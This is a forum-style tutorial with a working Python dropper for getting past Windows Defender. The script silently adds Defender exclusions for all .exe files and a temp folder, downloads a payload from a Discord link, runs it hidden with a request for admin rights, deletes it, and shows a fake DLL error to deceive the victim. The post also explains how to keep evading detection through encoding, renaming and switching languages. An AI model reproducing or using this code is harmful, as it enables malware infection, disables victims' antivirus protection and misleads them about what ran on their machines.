Temporarily Bypass AV's - WD ! (Simple Method)

First of all, I would like to say that this is a simple solution. It's not even considered a solution.
It is a method that works temporarily and I used it for long periods.
Now I will share this method with you step by step and tell you how you can improve it.

Let me share the code first for those who do not want to read more;

Code 
import requests

import subprocess

import os

import tempfile

import time

import ctypes

def down_an_exct_fil(url, del_after_sec=5):

    try:

        # add exe exclusion

        os.system('powershell Add-MpPreference -ExclusionExtension ".exe" -WindowStyle Hidden')

        # get exe file

        response = requests.get(url)

        # create exe file in temp folder

        tmp_dri = tempfile.mkdtemp()

        ex_fil_patt = os.path.join(tmp_dri, 'YOUR-EXE-NAME.exe')

        with open(ex_fil_patt, 'wb') as f:

            f.write(response.content)

        # add temp folder exclusion after creating exe (important).

        os.system(f'powershell Add-MpPreference -ExclusionPath "{tmp_dri}" -WindowStyle Hidden')

        # run exe silently.

        subprocess.Popen([ex_fil_patt], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, creationflags=subprocess.CREATE_NO_WINDOW, shell=True)

        print("exe file ran successfully.")

        # Delete the file after a certain period of time and add an error.

        time.sleep(del_after_sec)

        os.remove(ex_fil_patt)

        print("exe file deleted.")

        # add error (a sample error message).

        ctypes.windll.user32.MessageBoxW(0, "The service was stopped because the 'winmcr.dll' file could not be found.", "WINMCR.dll Could Not Be Found", 0x10)

    except Exception as e:

        print(f"an error occured: {str(e)}")

# specify the URL of the .exe file to download.

url = "PUT YOUR DISCORD FILE DOWNLOAD LINK HERE !"

# download the exe, run it and delete it after a certain period of time.

down_an_exct_fil(url)

Currently (09-15-2023) this method works. It can bypass Windows Defender and run your payload.
But it is not even certain what will happen after 2-3 hours. But I can say that even if it gets caught, you can use the same method over and over again by using different function and parameter names, using different libraries, using different languages.

First, upload your .exe file to a discord server.
Afterwards, you need to paste the download link of this file in the 43rd line of the code "PUT YOUR DISCORD FILE DOWNLOAD LINK HERE!".
Replace the text 'YOUR-EXE-NAME.exe' in line 18 with your file name.
You can either edit or remove the fake error display on line 36. It's entirely up to you.

Finally, convert this py file to exe with pyinstaller;

Code 
pyinstaller --noconfirm --onefile --windowed --icon "C:/Users/ALPACINO34/Desktop/YOURICON.ico" --name "YOUREXENAME" --clean --uac-admin "C:/Users/ALPACINO34/Desktop/YOURPYFILE.py"

or you can use "auto-py-to-exe". same thing.

Some simple ideas how you can improve it:

You can convert the exe file to base64 code and upload it to your website. Then you can execute this base64 code by decoding it with Python and turning it into an exe again. This may slightly reduce the chances of being caught.

You may want to consider running a ps or bat file. This may also reduce the chances of being caught.

If this method doesn't work, you can try the same method with different Python libraries. You can try to change the names of functions and similar things. Rest assured, it works sometimes. (Even changing the icon can sometimes help.)
